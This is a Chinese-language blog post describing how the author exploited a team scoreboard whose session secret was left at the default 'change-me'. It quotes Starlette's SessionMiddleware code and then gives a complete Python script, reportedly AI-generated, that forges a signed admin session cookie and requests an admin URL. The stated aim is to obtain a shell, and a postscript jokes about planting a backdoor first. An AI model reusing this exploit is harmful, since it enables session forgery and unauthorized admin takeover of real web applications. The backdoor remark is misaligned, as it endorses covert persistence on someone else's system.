积分榜session伪造越权漏洞
战队积分榜的漏洞挖掘
今天和一诺开玩笑说找积分榜的漏洞,结果晚上他真跟我说有,是secret-key的默认值没有修改,于是尝试通过这个漏洞拿下积分榜的shell。
先看源码:
SESSION_SECRET=${SESSION_SECRET:-change-me}
下一步的思路是查看SESSION_SECRET的使用方式:
app.add_middleware(SessionMiddleware, secret_key=SESSION_SECRET)
查看SessionMiddleware:
class SessionMiddleware:
def __init__(
self,
app: ASGIApp,
secret_key: str | Secret,
session_cookie: str = "session",
max_age: int | None = 14 * 24 * 60 * 60, # 14 days, in seconds
path: str = "/",
same_site: Literal["lax", "strict", "none"] = "lax",
https_only: bool = False,
domain: str | None = None,
) -> None:
self.app = app
self.signer = itsdangerous.TimestampSigner(str(secret_key))
self.session_cookie = session_cookie
self.max_age = max_age
self.path = path
self.security_flags = "httponly; samesite=" + same_site
if https_only: # Secure flag can be used with HTTPS only
self.security_flags += "; secure"
if domain is not None:
self.security_flags += f"; domain={domain}"
async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
if scope["type"] not in ("http", "websocket"): # pragma: no cover
await self.app(scope, receive, send)
return
connection = HTTPConnection(scope)
initial_session_was_empty = True
if self.session_cookie in connection.cookies:
data = connection.cookies[self.session_cookie].encode("utf-8")
try:
data = self.signer.unsign(data, max_age=self.max_age)
scope["session"] = json.loads(b64decode(data))
initial_session_was_empty = False
except BadSignature:
scope["session"] = {}
else:
scope["session"] = {}
async def send_wrapper(message: Message) -> None:
if message["type"] == "http.response.start":
if scope["session"]:
# We have session data to persist.
data = b64encode(json.dumps(scope["session"]).encode("utf-8"))
data = self.signer.sign(data)
headers = MutableHeaders(scope=message)
header_value = "{session_cookie}={data}; path={path}; {max_age}{security_flags}".format(
session_cookie=self.session_cookie,
data=data.decode("utf-8"),
path=self.path,
max_age=f"Max-Age={self.max_age}; " if self.max_age else "",
security_flags=self.security_flags,
)
headers.append("Set-Cookie", header_value)
elif not initial_session_was_empty:
# The session has been cleared.
headers = MutableHeaders(scope=message)
header_value = "{session_cookie}={data}; path={path}; {expires}{security_flags}".format(
session_cookie=self.session_cookie,
data="null",
path=self.path,
expires="expires=Thu, 01 Jan 1970 00:00:00 GMT; ",
security_flags=self.security_flags,
)
headers.append("Set-Cookie", header_value)
await send(message)
await self.app(scope, receive, send_wrapper)
有了密钥和加密脚本,接下来就用ai跑一份伪造脚本。
import itsdangerous
import json
import base64
import requests
import urllib3
SECRET_KEY = "change-me"
ADMIN_USER_ID = 1
def forge_admin_cookie(secret_key: str, admin_id: int) -> str:
"""根据给定的密钥和用户ID,生成伪造的会话 Cookie。"""
print(f"[*] 正在为 user_id: {admin_id} 生成会话...")
target_session_payload = {"user_id": admin_id}
signer = itsdangerous.TimestampSigner(secret_key)
json_payload = json.dumps(target_session_payload).encode('utf-8')
b64_payload = base64.urlsafe_b64encode(json_payload)
signed_data = signer.sign(b64_payload)
forged_cookie_value = signed_data.decode('utf-8')
print(f"[+] 伪造的 Cookie: session={forged_cookie_value}\n")
return forged_cookie_value
def attempt_access(target_url: str, cookie_value: str):
"""使用伪造的 Cookie 尝试访问目标 URL。"""
print(f"[*] 正在尝试以管理员身份访问: {target_url}")
cookies = {"session": cookie_value}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
response = requests.get(target_url, cookies=cookies, headers=headers, allow_redirects=False, timeout=10, verify=False)
print("\n--- 响应分析 ---")
print(f"[+] 响应状态码: {response.status_code}")
if response.status_code == 200:
response_text = response.text.lower()
if "admin" in response_text or "dashboard" in response_text or "logout" in response_text or "welcome" in response_text:
print("成功 响应内容包含管理员关键词。您很可能已获得管理员权限。")
else:
print("注意: 状态码为 200,但未检测到明显的管理员关键词。请手动检查响应内容。")
elif response.status_code in (301, 302, 303, 307):
redirect_location = response.headers.get("Location", "N/A")
print(f"失败 服务器重定向至: {redirect_location}")
if "login" in redirect_location:
print(" (这通常意味着会话无效,被强制跳转到登录页面)")
elif response.status_code == 403:
print("失败 服务器返回 403 Forbidden (禁止访问)。")
elif response.status_code == 401:
print("失败 服务器返回 401 Unauthorized (未授权)。")
else:
print(f"失败 收到意外的状态码 {response.status_code}。")
print("\n--- 响应内容预览 (前500字符) ---")
print(response.text[:500])
print("---------------------------------")
except requests.exceptions.RequestException as e:
print(f"\n错误: 请求失败。请检查 URL 和网络连接。")
print(f" 详细信息: {e}")
if __name__ == "__main__":
forged_cookie = forge_admin_cookie(SECRET_KEY, ADMIN_USER_ID)
target = input("[?] 请输入您要测试的完整 URL (例如 https://score.cloudever.top/admin): ")
if not target.startswith("http"):
print("错误:请输入包含 http:// 或 https:// 的完整 URL。")
else:
attempt_access(target, forged_cookie)
之后的准备抽时间再研究以下。
ps:应该先留个后门再告诉一诺的。。